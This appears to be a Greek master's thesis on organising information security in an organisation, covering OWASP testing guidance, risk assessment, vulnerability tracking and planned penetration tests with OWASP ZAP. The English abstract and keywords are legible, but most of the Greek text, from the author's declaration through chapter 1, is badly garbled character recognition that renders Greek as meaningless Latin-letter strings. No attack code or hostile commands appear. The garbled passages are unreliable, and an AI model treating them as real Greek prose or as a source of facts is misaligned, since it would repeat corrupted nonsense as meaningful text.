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AHAQXH XYTTPA®EA AITAQMATIKHXE EPTAXIAX

O «dtwdt vroyeypappévog Kaowdag Anuntpng tov AbBovaciov, pe aplbpd pntpmov 48,
eoumtg tov Tunuatog Bropnyavikig Xyediaong ko Hapaywynis tov IHavemompuiov Avtikng
Attucng, Tpv avordfo v ekmoévnon g [toyokng Epyoaciog pov, SnAdve ot evnuepddnka yio ta
TOPOKATO:

«H Ity Epyacio (ILE.) anotelel mpoidv mveupatiknig 010K Giog TOG0 TOV GUYYPUPED,
660 Kot tov [dpvpatoc kKot Ba mpémet va Exel Lovadikd YapaKTpo Kot TPOTOTVLTO TEPLEXOLEVO.

Amayopeletal auotnpd OmOOdNTOTE KOUUATL KEWEVOL NG Vo epgaviletor ovtovcto 1
HETAQPACHEVO amd Kamold AAAN dnpoctevpévn tnyr. Kdabe térowa mpdén anotedel mpoidv AoyokAomng
ko gyetpet Oépa HOune Taéng yo ta tvevpatikd Sikaidpoato Tov GALOL Guyypaeid. ATOKAELIGTIKOG
vrevBouvog givor o cuyypaéas g I1.E., o onolog @épet kat v evBOHVN TOV CLVETELDV, TOWIKAOV KO
AoV, avtg TG TPAENC.
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Ecotepikod Kavoviopot.»
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YEAIAA ADIEPQYXHE

"Eva 0poppo «ta&idr yvaong» £pbace 6to TEAOG TOV. L€ avTo To «Talidy, Lov 066nke N
evkarpia va Eavacuvavinod pe TaAlodg yvmoTovs Kot TapdAAnia va yvopicom véoug
avBpdTOVG, 1€ TOVS 0TO10VE HOPAGTHKALE TOV Aly0 YpOVO TToL glyape dtabécIpo, Yo va
yvopicovpe véa TpayLaTa.

I"a v ohdoxAnpwon avtrg g tpoomdfelag, Oa NOela TpdOTO amd OA0 Vo EVYUPIGTIC® TNV
OLKOY£VELDL IOV, 1] OTTO10 VTOHOVETIKA e EPAETE VO APLEPDOVED TOAAES DPES UTPOGTA GE Uit
006vn ko pe vrootpile og kdBe Ppa.

Emiong 6o n0eha va evyapiotiom kot v etatpio Tnv onoia epydlopat, yio t Bondeia mov
Hov mopeiye.
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HEPIAHYH

H poaydaio avantoén g mAnpoeopikng £xel cov oamotéleopo v eEEMEN TV
TPOIOVIMOV G OAO TO PAGLLA TNG KOO UEPVOTNTAG TV avOp®dT@V. O1 EMYEPNCELS Kot
ot opyavicpol p€om g e€EMENG TOV TANPOPOPLIK®Y GUGTNUATOV, KATAPEPOLV VO
aLENCOVY TNV TOPAYMYIKN TOLG OdIKaGIio Kot Vo BEATIOGOVV TNV TOWOTNTO TOV
TPOIOVIMV TOVG G EMIMEN TOAD VYNAITEPO GE GYEON LE TO TOPEAOOV.

H cvviputtikn mhetoynoio tov opyovicpov ofjuepa, Baciletal oty mAnpo@opikn yio
v Kadnuepwvn tov Agttovpyio. Toxdv TpdPAnUa 6E TANPOPOPLOKA GUGTILATO, EXEL
ooV amotélecua TNV KoBLoTEPNON 1N GKOUO KOL TNV OLOKOTH TNG TOPUYOYIKNG
dwdkaciog, yio 660 dtdotno dtopkel To TPOPAN L.

[Mopaiinio Opmg pe MV avamtuén TG TANPOPOPIKNG, avarTuYONKE TO 1010 TayvTOTA
Kol TO  KuPepvodykAnua, OMUIOVPYOVTOS TPOPANUOTE otV Agrtovpyio. TV
opYOVIGUAYV, KOOIoTOVTAG TAELOV  EMITOKTIKY] TNV  avAyKN TPOCTACiOS TV
TANPOPOPLOKDOV TOVG GLGTNUATWV.

2mv mapovoa epyacia yivetol TPocmABED KATAypaPNS TV POCIKAOV EVEPYELDY TOL
aoLTOVVTOL LE GTOYO TNV OPYAVMGT] TNG UGPAAELNS TOV TANPOPOPLOKDY GUOTNUATOV
€VOG OPYOVIGLLOV.

Apywd avordovtot ot Edeyyotl acpalreiog Bacel tov OWASP testing project to omoio
mapéxel Katevbouvimpieg odnyieg yio v opbn avdmtuén £vog cuvoilkol TAoiciov
acQOAElOG TANPOPOPLOY. X1 ovvExewn yiveton mpoomdbelo ovamTLENG  piog
peBodoroyiag a&loAdynoneg Kvobvemv acQAAENS TANPOQOPLLV, KaBMG Kol piog
TOATIKNG EVTOMIGHOV adLVOLL®V Kol dle&aymyns eEAEY@V acQOAEiNG.

Y10 té\0og TG epyaciog dievepyovvral dokiuég dieicdvong o€ pia web epappoyn, pe
otdY0 T JSlEPEHVNON TLXOV EVPNUATOV OCEOAEiaG, TPy TV €viadn g oty
napaymyn. Ot dokiuég dievepyovvtal e tn ypron tov gpyoreiov Zed Attack Proxy
(ZAP) oo OWASP.

Q¢ mbavd amoTeAEGHATO TG EV AOY® UEAETNG, AVOUEVETOL VO 0VaOELYOOLV Ta fripaTo
To. omotol amouteiton vor avamtHEEL Evag OpYavIoUOG, e OKOTO TNV opydvmon evog
GLUVOAMKOU TAOLGIOV AGPAAELNG TTANPOPOPIDV, TO omoio Ba Pondrcel Tov opyavicud

VO OPYOVAGEL TV TPOCTAGIN TOV, LUE GTOYO TNV UCPAAELN TOV TANPOPOPLUKDV TOV
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ocvotudtov. H ohokAnpopévn tpoctacio tov Oa otnpiletor oe téocepig Pacikong
TUADVEG, Ol OTOI0l GUVOTTIKA OPOPOVV TNV TPOETOLLNGIO. TOV Ylo TN YVAON T®V
KvOOVmV Kot TV 0E00UEVOV TOV XPELALETOL VO TPOGTATEVGEL, TV TPOCTUGIN [IE TNV
EQUPUOYT TOV KATAAANA®V S1001KOGIDV KOl TEYVOAOYIDV, TNV aViYVELGN KOl TOV
EVIOTIGUO Y10t TV 0G0 TO duvaTd TaXOTEPT aviyvevomn TuxOV emBEcE®V Kat TEAOG TNV
QVTILETOMION Yo TN dnpovpyio Tov amoutovpueveoy oxediov dpdong yio tn peioon
TOV EMNTOCEWV TOAVAOV EMOEGEDV.

AgEarg-Kheona: Acopdielo mAnpogoplokadv cvuotnudtov, pebodoroyio droyeiptong

KIVOUVOV, TOAITIKT EVTOTICUOD aAdVVOLL®V, SOKIUES O1eicdvong.
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ABSTRACT

The rapid development of information technology has resulted in the development of
products throughout the everyday human lifetime. Businesses and organizations
through the development of information systems have been able to increase their
productivity and improve the quality of their products at levels much higher than in
the past.

The vast majority of organizations today are based on computing for their everyday
operations. Possible errors in information systems result in the delay or even the
interruption of the production process as long as the problem persists.

However, with the development of information technology, cybercrime has quickly
developed at the same time, creating problems in the operation of organizations as well
as making it imperative to protect their information systems.

This work attempts to capture and present the basic actions required to organize the
security of the IT systems of an organization.

Initially analyzed security audits based on the OWASP testing project, provides
guidelines for the proper development of a comprehensive information security
framework. An effort is then made to develop an information security Risk Assessment
Methodology, as well as a Vulnerability Tracking Policy and conducting security
audits.

Finally, Penetration Tests are run on a web application in order to detect any security
problems before it enters production. Tests are performed using the OWASP Zed
Attack Proxy (ZAP) tool.

As a possible outcome of this study, it is expected to find out the steps that an
organization is required to develop, in order to set up a comprehensive information
security framework, which will help the organization ensure the security of its
information systems. Its comprehensive protection will be based on four key pillars,
which briefly relate to its preparation for the knowledge of the risks and data it needs
to protect, protection through the application of appropriate procedures and
technologies, detection and identification for as long as possible. Detecting possible
attacks more quickly, and finally addressing the need for action plans to reduce the

impact of possible attacks.
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Key words: Information Security, Risk Assessment Methodology, Vulnerability
Tracking Policy, Penetration Testing.
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EIXAT'QI'H

H paydaio avémtuén g [HAnpogopikng eiye ocav amotélecpo v €EEMEN TV
TPOIOVTWV 6€ OL0 TO PAGHA TNG Kabdnuepvotntog Tov avOpormy. Ot etarpieg kot ot
opyOVIGHOL TOL OMUOCIOL Kot WWTIKOD Topén, MHEo® NG &EEMENG TV
TANPOPOPLOKDY TOVS GUOTNUATOV, KATAPEPAY VO ALENGOVY TNV TOPAYOYIKY] TOVG
dLd1KaGio Kot Vo TPOSOEPOVY TOLOTIKOTEPO, TPOTOVTO KOl VINPEGIES T OO0 NTOV
ox€06V 0dVVaTO VoL vAoToMBovV Ttpty TV e£EMEN ¢ [TAnpoPopIkNS.

H mnpoeopwin amoterel Pacikd cvotatikd g 3" Biounyavikng Emavdctaong n
onoia Oswpeitar o0t Egkivnoe ota A tov 20°° cdva (1970) kot agopd v
OLVTOLLOTOTTOMNUEVT] TTOPAYDYT LE TN XPNON TOV NAEKTPOVIKAOV LTOAOYIGTAOV. Mg TV
e&EMEN g [TAnpopopiknic, N Topaymyikn dtadikacio avartiydnke pe puOpovg 1660
YPYOPOLG OGO TOTE AALOTE GTO TOPEADOV.

Axopa ko n 4" Biounyoavikn Eravdactaon n onoia Oewpeiton ot €xet 10 Eekvnoet
Kot 0popd TNV TAN PN AVTOUATOTOIN O, TV “ynelonoinon” kot v “poumrotonoinon’”
OA®V TOV TopoyOVI®OV TG Kadnuepvotntog, £xel cov Pacikd TG CLGTOTIKO ETIONG
v [IAnpopopikn. H eicaywyn oty tapoywyikn stodikacio, TExVOAOYIOV OT®G elval
1o Internet of Things (10T), to Cloud Computing, Ta Big Data ka1 ta Cyber physical
Systems, amotovv T YPNOT TANPOPOPLOKDOV GLGTNUATOV Y10 TNV AVATTVEY TOVG.
[TAéov oTIC PHéEPEC LOG M CLVIPUTTIKY] TAEWOYNGIO TOV OPYOVIGUAOV otnpileTon otV
TAnpogopikn yw v kabnuepwvn g Asttovpyio. Kdébe mbavd mpofAnua oe
TANPOPOPLOKE GUOCTHUATO, £XEL OOV OMOTEAEGHO. TNV KAOLGTEPNOT 1 OKOUOL KoL TNV
OlOKOTY TNG AELTOVPYING TMV OPYAVIGUAV, Yo 660 dtbdotnuae avtd dwupkel. [veton
gVuKoAO KOTAVONTO OTL [LE TNV AVATTLEN TOV VEOV TEYVOLOYIDV TTov Ba emupépel n 4"
Blounyovikn Emavdotoaon, n avtopatonmoinon Oa @Bdoel oe axoduo peyaAdtepo
TO0GOGTO, OMOTE TO O0MOOdNTOTE MOAVO TPOPANUA O eMEEPEL AKOUO PEYOAVTEPES
OUVEMELES, ME ONUOVTIKEG EMUMTMGELS OTH AELTOLPYID TOV ETAPOV Kol OKOMO
TEPLGGATEPO OTNV KAONUEPVOTNTA TOV OVOPOT®V.

[MapdAinia dpmg pe v TovToatn eEEMEN g ITAnpoeopiknig kat To 0pEAT TOL oV TN
emeépel o (on TOV avOpOTOV KOl TOV ETYEPNCE®V, TO {d10 TOyVTOTO
AVOTTOCGETOL Kot 1] TapolfatikdtnTa 1 omoio apopd tn dnpiovpyio TPoPANUATOV GE

TAnpogoplakd cvotiuata. H moapafatikétnta oot ovoudletal «NAEKTPOVIKO
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Eykinuo» 1 kuPepvosykinua (cyber crime), n omoia £xel cav 6tdYO TV VTOKAOTN

evaicOntov otoyelov M TN Onuovpyio mwpoPAnudtov ot Asttovpyio TV

OPYOAVIGLOV.

Ot emt1Bépevol umopoHV vo YwPLoToVV YEVIKA GTIC TOPUKATEO KATYOPIES:

MeUOVWHEVA ATOUO EVIOG TOU OPYAVIOHOU, TA OTIOl0L €X0UV GOV OKOTIO Vol
npoéevioouv npofAnuata ite emeldn B€Aouv va urtokAEPouv Sedopéva yla
TIPOCWTILKO TOUC 0deAOG N emeldr) BEAouv va pogevrioouv poBARUaTa yLa
Aoyouc ekbiknong, emeldn eivatl SucapeCTNUEVOL LIE TOV OPYAVLOUO.
Mepovwpuéva atopa (hackers) ektdég tou opyaviopou, Ta omola TIG
TIEPLOCOTEPEC POPEC £XOUV OOV OTOXO ATIAA TNV Lkavormoinon tng ¢pthodotiag
Toug, va amodeifouv &nAadn OTL pmopouv va TapaBLAcouV CUCTAHHATA
aopaAeiag HEYOAAWVY OPYAVIOUWV.

Ouadeg atopwv (hacktivists), ol omoiot mapakivoUpevol and LEEOAOYLKEG oL
TIOMTIKEC Ofoelg, mpoomabolv va TpoKaAéoouv TpoBARuoto  OE
0pPYOVLOUOUG TOUG oTtoloug Bewpolv avtiBetoug mpog Ta “nmiotevw” TouG.
Ouadeg atépwv (cyber terrorists), oL omoieg €xouv ox€on LE TO OPYAVWUEVO
EYKANUA KoL £{OUV oAV KUPLO OTOXO TO OLKOVOULKO ODEAOC.

KuBepvnoelg, oL omoleg €xouv oav otoxo TN Snuoupyia mpoPAnudTwyY o€
OVTOYWVLOTIKA KPATN, €ITE ylo YEWTOAITIKOUG AOYOUG 1 OKOMOL KOL ylo
EUMOPLKA OCUUPEPOVTA TWV ETUXELPNOEWV TOUG OE OXEON HE TIS

OVTOYWVLOTLKEG ETIXELPNOELG AAAWVY KPOTWV.

Mo v oavipetonon tov Topomive omelldv, ol opyaviopol &lvar mAgov

VIOYPEDUEVOL VOL OPYOVADCOVY TNV TPOCTAGI TOVS, LE GKOTO TNV BmpAaKicn TOVG OTIg

KuPepvoenmiBéoels. H oloxinpopévn mpootacio tovg Oa mpémer va Pacileton oe

T€66Ep1G Pac1KOVS TVADVEG:

Tnv npoetolpacia, He oKOMO TN YVwon Twv eNBECEWV O0TOUG OToiloug elvat
ekteBepévol, kKabwg Katl T yvwon twv dedopévwy mou eival avaykaio va

T(POCTATEVOOUV, AVAAOYQ LLE TNV KPLOLULOTNTA TOUG
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e Tnv mpootacia, Ue okomo TNV edpapuoyr TwV KATAAMNAWY TEXVOAOYLWV Kal
Sodkaowwy, kabBwe koL TN ouvexn ekmaideuon Kal evnUEPwon TOu
avBpwrvou SuvapLkou Toug

e Tnv aviyveuon Kol TOV EVTOMIOUO, HME OKOTO TNV 600 To Suvato TaxUTepn
aviyveuon mBavwv enBEcewv

e TNV QVIWETWIILON, UE OKOTO Tn Snuloupyla TwV OMALTOUMEVWV OXESIWV

SdpAacng yla T HELWON TWV EMMTWOEWY TIOAVWV EMBECEWV.

Etvonl xotavontd 6t 660 mo1o Kpicog eival 0 TOpENS GTOV 0ol AVOTTOGGETAL
évag OpYOVIGHOG, TOCO WO TOAVTAOKEG €lvar Kot ot dadkacieg mov
aKoAoVOOVVTAL YO TNV TPOCTOGIO TOV, EVM OVTIGTOLY0 Ol ATALTOVUEVOL EAEYYOL
gumobel®V KpiveTol avaykoio vo d1evepyovVTOL GE TAKTA YPOVIKA SIOCTHLOTO 1] OE
KOs aAlayn tov ekdotote cvotnuatog. [TAéov or peydior opyavicpoi &xovv
avomTOEEL  GUOTAUOTO  GLVEYOVS  TOPOKOAOVONONG NG  OCEAAENS  TOV
TANPOPOPLOKDV TOVG GUGTNUATOV, KAODS KOl EVEOUATMOONG TG ACPIAELNG KATE,
™V avamtuén Tov TANPOPOPLOKOV TOVg cvothudtoy (privacy and security by
design).

[Mog dpmg Bo pmopécel £vag opyaviordg Vo EKTIUNGEL TO KOOTOG piog mbavig
enifeonc oTo TANPOPOPLOKA TOV GLGTHUOTA, £ITE TO KOGTOG APOPA YPNUATIKO
Kk60T0G (.. LElwoN £000MV, TOWIKEG OIOEELS, TPOSTILO Ond PLOICTIKES apYES,
OTTOAELD OEOOUEVOV KAT.) N aKOUO KO KOGTOG TNG GNUN Tov (1Y, peimon g
EUTIGTOGVVNG TTPOC TOV OPYAVICUO, DTOBAOLUCT] EUTOPIKNG EXTOVVUTNG KAT.).
[Ipéner va toviotel OTL T0 KOOTOG €vOG MEPIGTOTIKOD ao@oieiog, pmopel va
Spépel avaroya pe To €100 TG enifeons, KOOMG KOl TO TOGOGTO TNG EMTVYI0G
™mG. ['a 10 okomd avtd elval avaykaio va VAOTOEITOL VTTOAOYIGHOS TOV KOGTOLG
plog mBavng enifeong, pEom ¢ dlevépyelag a&loAdynons Kivobvav e TN Xp1non
pHeBOdOAOYIDV KOl TPOTUTI®V, MOTE VO €ival €PIKTOG 0 TPOGdIOPIoUOS TV
EMEVOVGEMV 0GPAAElng OV amatteitan Yo Evav opyoviopd. O vToAoYIGHOG aVTHG
etvon avaykaio va alodoyeital kot vo avobempeitan etnoiong.

Youpwvo pe peréteg [1], 10 kO0TOG TV EMEVOVCEWV O KLPEPVOUCOALELQ,

avépyetar TAEoV 6T0 3% £mg 5% Tov £TG10V TPOUTOAOYIGHOD TANPOPOPIKNG EVOGS
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0PYOVIGLOV.

Me v mapovoa epyacia Oa yivel mpoomdbeio Kataypoens POSIKOV EvepyELOV
oL omonTeiTal Vo, avamtuEel €vag OpPYOVIGUOS, HE OTOYXO TNV OCQPAAELN TV
TANPOPOPLOKDY TOL GUGTNUAT®V.

To oavrtwkeipevo ¢ perémg euminter pe 1o ILML.E. yuotl wpoaypoteveton Tig
Old1KAGTIES OVTOUATOTOINGTG VANPECIHOV TANPOPOPIKNG TOV OPYAVICUADV, LE
GKOTO TNV 0CPAAELD TOV TANPOPOPLIKADV TOVG GUCTNUATOV.

Apywd oto KEOGAAAIO 1 Oa avaivBobv ot éheyyxor aceaieiog Pdoet tov
OWASP testing project to omoio mapéyet katevBuvrnipleg odnyieg yio v optn
avamTuEn £vOg GLVOAMKOD TANLGIOL AGPUAEING TAPOPOPLOV EVOS opYovIGHoV. To
Open Web Application Security Project (OWASP) amotehel pio moykoopo
erebBepm avoikt Kowvotnta, 1 omoia amd Tic apyég g dekaetiog tov 2000, €xet
ooV 6TOYO TNV AVATTLEN TG AGPAAELNS TOV AOYIGUIKOV EQAPLOYDV KO OTOTEAEL
oNUEi0 aVaPOPAS GTO YDPO TNG OCPAAELNG TOV TAPOPOPLUKDOV GUGTNUATMV.
Y10 KEDAAAIO 2 0Oa yiver mpoomdbeia ovamtuéng piog peBodoroyiog
a&loAdynoNg KIvOLVOV acQAAELNS TANPOPOPLOV, PACEL TV KATELOHVGEWV TOV
apEYoLV Ta TPOTLTTO AcPaAeiag TANpoopldv. H aglohdynon kivobvav aroteiel
€va, oo TOL CTIUOVTIKOTEPO, APYIKA GTAOLN EVOC TAOUGIOV AGPUAELNG TTANPOPOPIDV
€VOG OPYOVIGLLOV.

2t ovvéyewa 610 KEOAAAIO 3 Ba yiver mpooméfeta avamtuing piog molMtikng
EVIOTIGLOD aOLVOLUL®V Kot SteEaymyng eAéyyov aceoieiog. H moAitikn avtr Oa
€xel oav oTOYO Vo dlatnpel £va EMaPKEG EMImedo acPaieiog evog opyavicpoD.
¥10 KEDAAAIO 4 0a dievepynBoiv dokiuég dieiocdvong oe pio web epapuoyn, pe
oTdY0 TNV dlepevvnon TuxOV eupnudtev aceaieiog mTpv Vv €viaén g oty
napoywyn. o m devépysn tov dokiudv deicdvong Ba ypnotpomombei to
gpyareio mov mapéyetar dmpeav amd tov OWASP, to Zed Attack Proxy (ZAP).
>10 KEOAAAIO 5 Ba avarvBovv ta counepdopota g perétng kot Bo d06ovv
TPOTAGELG Y10 TEPULTEP® EPELVA Kot EEEMEN).

Téhog ota [IAPAPTHMATA axolovBovv eXports and tn dtevépyela Tmv oKDV

dteiodvong, KaBMOS Kol 1) GYETIKT OVaPOPA TOV EAEYYOVL.
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KE®AAAIO 1 — EAETXOI AX®PAAEIAYX BAXEI TOY OWASP
TESTING PROJECT

1.1 Eavhoyn Ilpotvmov

‘Evo amd ta mo10 dtadedopéva TpOTLTTAL Yol TNV ACQAAELN. AOYIGHIKOD OMOTEAEL TO
Open Web Application Security Project (OWASP), to omoio &ivar pio moykoco
elehBepm Kot avolkTy KOvoTNTA, 1) 01010 £XEL OOV GTOYO TNV AVATTLEN TNG OCPAAELOG
TOV AOYIGHKOD EQOPUOYDV, OVOADOVTIOG TNV OCPAAED TOV EPOPUOYDOV UE TETOLO
TPOTO, MGTE O AVOPOTOL KO 01 OPYAVAGELG VO LTOPOVV VAL AAUPAVOLY TEKUTPLOUEVES
ATOPACELG GYETIKA LLE TOVG KIVOVVOUG aGQAAELNG epapuoy®dv. Xto OWASP pmopei va
ouppeTacyEl ElevBepa Omo10¢ To emBupel Kot Exel 6T S1ABEGN TOV TA LAKA VIO TNV
doeta eAevBepoL Kat avotytob Aoyicukov. Erxiong vrdpyet kot to Topvpa OWASP, to
omoilo amotelel (o QUAOVOPOTIKY] OpYAvVOGCN U1 KEPOOGKOTIKOD YOPUKTIPO TOV

eEaceailel ™ cuveyn S100ecLOTNTA KO VTOGTNPLEN Yo TNV EPYACIN TG KOWVOTNTAG

[2].

1.2 "E)eyyor acpaieiog pacer oo OWASP Testing Project

Amd tov OWASP avortvocetot yio moAld ypovia to OWASP Testing Project, to
omoio €yel oav okomd va fonbnoel oV KOTOVONON TOV SOKIUOY WED £QuproydV.
"Evag and tovg factkong otdyovg Tov Project eivar n odlayn g EXKEVTIPOONG TOV
opyovicudv amd TG OOKIEG Olelcdvuong mpog TG OdokwéG ot omoieg Oa
EVOOUOTMOVOVTOL 6TOV KOKAO (NG OVATTUENG TOL AOYIGUKOD.

Mia TopaUeETPOG TOV HETPNGEMV AGPAAEING, EKTOG ad TO TEYVIKEA (NTLOTO TOL OTTOl0L
€xouv oyxéon Yo mOPAOELyHo HEe TO TOCO Oladedopévn elvarl pion cuykekpluévn
eumdbeta, amotelel emiong Kot 0 VTOAOYIGUOG TNG EMPPONG TV CNTNUATOV 0COAAELOG
GTO GLVOAMKO KOGTOG TOV Aoyiopukov. [Taporo mov o1 TePIeGOTEPOL TEYVIKOL Elval G
Béon vo dlayEPloTOVY Kol Vo OVTILETOTICOLV To. TPOTA onueio piog e@aproync,
SVOTVYMDG £va TOAD HKPO TOGOGTO AVTAV gival o€ BEoT eKTIUGEL TO TOOVO KOGTOG
TOV TPOTOV ONUEIWV, OTIG EMYEPMUATIKES OPACTNPLOTNTES TOL £PAPUOLETOL M
€KAOTOTE EQOPUOYT. AvTN M| TOPAUETPOS dNULovPYEl TPOoPANLATA GTOVS LITELOVVOLC

TANPOPOPIKNG TOV OPYAVICU®Y, Ol 0T0iol SVGKOAEHOVIOL VO OTOTVTAOGOLY TNV
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akpiPn amddoor Tng emEVOLONG GE OCQAAEWD, KOOMG KOl VO KOTOPTHGOLV TOVG
avTioTOlY0oVE TPOUTOAOYIGHOVS GYETIKA e TV ao@AAeln TOV Aoyiopkov. [Ipog v
KatevBuvon avtn, oA GTNV EKTIUNGT TOV KOGTOLG TOV AVUGPAAOVS AOYIGUIKOV,
vdpyovv epyacieg Onmc marootepa Tov EBvikov Ivotitovtov Ipotdnwv tov HITA
(NIST), oyetikd pe T0 KOGTOC TOL AVUCPAAOVS AOYIGUIKOD 6TV otkovopio tov HITA,
AOY® QVETOPKAOV SOKIUOY AoyiopkoD [3].

Bdoel tov napandve, oivetor Tmg ival onuavTiko vo vITdpyel SuvaTOTNTA LETPTIONG
NG AGPAAELNG GE OAN TN SAOKOGTO OVATTLENG KOl GTH GUVEXELD VAL DTTAPYEL GOVOEST)
TOV KOGTOVG TOV OVOSOAAOVG AOYIGLIKOD LE TO AVTIKTLIIO TOV EVOEYETOL VAL £YEL GTNV
emeipnon. Avtd Bo odnynost otV ovATTULEN KOTAAANA®V  EMLYEPNUATIKOV
dldkactav Kot dtdbeong Topav yia T dtayeipion Kvovvov.

Yty dudpkela Tov KOKAOL (ong avarntuéng piag web epappoynge, Oo yivouv dokiuég
og mMOANG Tpdypato. Q¢ dokiunq pmopel vo optotel pio dadikacioo cOykplong g
KOTAGTAONG EVOG GUCTIHLOTOG 1 KOG EPAPUOYTS HE VO GUVOAO KpLTnpimv.

2e MOAEG MEPMTMGELS Ol 0pyavicpol dokiUdlovV T0 AOYIGUIKO TTOV OVOTTUGGOLV
apob dnuiovpynBel o kMdkag Kot Web gpappoyn eivat Aettovpykr|. Avti n uébodog
OTTOOEIKVVETOL GUYVA OVOTTOTEAEGLLOTIKY) Kot LE PeYOAo kOoToC. [Tpotipndtepn néBodog
YO TNV OTOTPOTN TNG ELPAVIONG COUAUATOV OCPUAEINS OTIC EQPAPUOYES TAPAYMYTS,
Bewpeitor n Pektioon tov Kodkhov Zong Avamtvéng Aoywouwkov (Software
Development Life Cycle), 6mov n aopdieia evoopatdvetal og Kabe pdon. Mia SDLC
elvan pio dopn mov emParietan 6TV ovATTLEN AVTIKEIEVOV AOYIoUIKOV. Eva yevikd

povtélo SDLC eaivetar 6to mopokdatom oynua [4].

DEPLOY ‘

Ewova 1 : I'eviko poviého SDLC
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To povtého SDLC mov o epapuootel Ba mpéner va eEacpalilel 6TL 1 ac@aieio
amotelel avamdomooTo UEPOG NG dladikaciog avamtuéne. Oo mpémel emiong va
nepapfPavovtor SokiuéG acpoieiog mote vo Olac@oMletor 0Tl KOAOTTETAL 1M
aCQAAEIDL KOl Ol EAEYYOl €ivOl OMOTEAECUATIKOL GTO GUVOAO TNG Ol0OIKAGIOG
AVATTUENG.

Mo v avartuén evog Aoyiopukol omotteital o cuVOVACUOS TPLOV TAPAYOVIWV Ol
0T0{01 GLUUETEYOVV GTNV dNUovpyio Tov. Avtol ot mapdyovteg givar ol dvBpwmot, ot
dwdwkaocieg kot n teyvoroyia. o va emrevybel €va amoteleouatikd mpdypappa
SOKIL®V, KPIVETOL OKOTIHMO Vo OOKIUOGTOVV KOl Ol TPELS TOPAYOVIEC (MOTE VO
dwo@oaMotel OTL LIAPYEL EMOPKNG eKTAidELoN kol gvaucOntomoinon amd TOV
Tapdyovta. «avOpmmoy, OTL VIAPYOLY EMOPKEIG TOMTIKES Kot TpOTLTO. T Omoin
akoiovBovvral, Yo Tov mapdyovio «dtadikaciesy kol TEA0G 0Tl 1 dadikacio gival
OTOTEAEGLLATIKY] GTNV EQPOPUOYTN TNG YL TOV TOPBEYOVTO KTEXVOAOYIO.

[ToAAéEC popég axorovbeitan amd TOVG OPYAVIGHOVG 1| AOYIKN TNG SOKIUNG UOVO TOL
mapdyovta. TeYvoAoyia N tov idov ToL AOYGUIKOV. Mg TV €@appoyn OU®G Tov
GLVOLAGHOD TOV SOKIUMV Kol TOV TPLOV TApayovTeV, divetal 11 duvaTdTNTe GTOV
opyaviopd vo evromicel {nmuata mov givor mBovo Vo ELEAVICTOVV OPYOTEPL MG
ehottopato oty tEYVoloYia, omdte diveton m dvvardtnTa TG e€dAewyng TtV

GOUALATOV KL TOL TPOGOIOPIGHOD TMV OUTIDV TOV EAATTOUATOV.

1.3 Apyég doxipav

‘Eva Loyiopikd a&lohdynong ac@Arelng (oG €QopUoyng 0ev UIopel vo KOAVWEL
ektyunoelg oe Pabog, xabBdc kol vo mopEXEl €mApPKN KAALYN TOV OOKIU®V,
vroroyilovtag 0TL M acedieta givor pio dadkacio kot oyt Eva Tpoiov.

[MaAadtepo akorovbovvtay cuyvd to poviélo “patch and penetrate”, émov ywvotav
KaBop1opog €vOG GOAAIATOS YWPiG TepaLTEP® Olepevvnon TV ottiov. To povtédo
avtd cLVVOEETUL GLVIHOWG e TO TaPABLPO gVTAOELNG, OTMOC ELPUVILETOL GTO TOPAKATED

oyfuo [5]. To povtélo avtd OpmG amodeiydnKe avomToTELEGLOTIKO.
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Ewéva 2: TTapdabvpo gvmdbetog

Mo v aroeuyn gpedviong eravorloppavopevav mpofAnudtov aceoleiog os pio
EQOPUOYTN, KpiveTol OKOMUO Vo dnuovpyndel pio acEIAE EQAPLOCUEVY] GTOV
Kvxkho Zong Avantuéng Aoyiopkov. Ot TpoypapiaTicTES LTOPOVY VO AVATTOEOVY
TOMTIKEG, TPOTLTAL Ko KatevBuvtnpieg ypappés, ot omoieg va toaplalovv Kot vo
Aertovpyodv péca pe pion avomtvElokn pebodoroyio, MOTE Vo ONUIOLPYNGOLV
acpaieln otov Kokio Zomng Avdmtuéng Aoywouikov. H yprion mpocopoidoewmv
anetlov pmopel va fondncet dote va ovateBodv ot avdioyol Topot ota PEPM evOg
GLGTNUATOG TTOL PBpickeTal 6e Kivouvo.

Evoopatovovtog v acedieia oe OAeg T1G pacelg tov Kokhov Zmng AvamtuEng
Aoy1oKoD, EMTLYYAVETOL Lol GUVOAKT] TPOGEYYION OTNV ACPAAELL TOV EPAPLOYDV,
EKUETOAAEVOUEVOL TIG MO VTLAPYOVGES SLOOIKAGIEG TOV OPYAVIGHOV. AVAAOYQ LE TO
povtédo tov Kokiov Zong Avantuéng Aoyiopikolh mov emAEYETOL OO TOV EKACTOTE
OPYOVIGHO, EVOEYETOL VO YPTCILOTOIOVVTOL OLOPOPETIKA OVOLLOTA TOV PACEDV, OALA
TPOKTIKG KAOe @don tov yevikov poviédov SDLC mov ¢aivetar oty Ewova 1
TOPOTAV®, OVIITPOCOTEVETUL GE OAES TIG TEPUTTDGELG.

Ta vrdpyovro miaicla acealreiag tov Kdklov Zong Avamtvéng Aoyiopikov,

TOPEYOLY TEPLYPUPIKES 1) KOOI YNTIKEG GUUPOVAEC. AVAAOYQ e TNV OPIUOTNTO TNG
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dudkaciog mov akolovdeital 6TOV EKAGTOTE OPYAVIGUO, EMAEYETOL KOL 1] OVTIGTOLYN
exdoyn tov mhatciov aceoieiog. Ipaktucd, ot kabodnyntués meptypdpovy Tmg o
Aertovpyel n ac@dreta Tov KokAov Zong Avantuéng Aoyioikod Kot 01 TEPTYPOPIKES
avtiotolya t0 TOG Oo ypnowomoleitol oTov TPOyUoTIKO KoOopo. Kor ot ovo
ypnoonotovvtat. [a mwapdaderypa éva kabodnyntikd mAaiclo pmopel va mapéyet pio
Mota amd mbovodc eAéyyovg AGQOAENG OV UTOPOVV VO EPOPLOGTOVYV, EVD
avTIoTOlYO. Ol TEPLYPOUPIKEG UmopoLV va Ponbhicovv ot dwdikocio ARYNg
amopdocewv. H meprypapicn acedieia mepthappavel oto BSIMM-V, evd avtictoya
N ovuPovievtiky meptlapPdver to Open Software Assurance Maturity Model
(OpenSAMM) tov OWASP ka1 to ISO/IEC 27034 Parts 1-8 [6].

Eivar katovontd 6t 6tav éva oedipa aviyvedetor 660 to duvatd taydTeEPE GTOV
Kvxho Zong AvantuEng AoyiokoD, ovTipneTomileTol avtioTot o To YP1yopo Kot Le
pikpotepo K00T0C. ' var emtevyBel avtd eivar onpavtikd va givar 66o 10 dvvatd
TEPLOCOTEPO EKTAUOEVEVEC € BEpaTA 0oPaAeing, Ol OPASES aVATTVENG KO EAEYY®V.
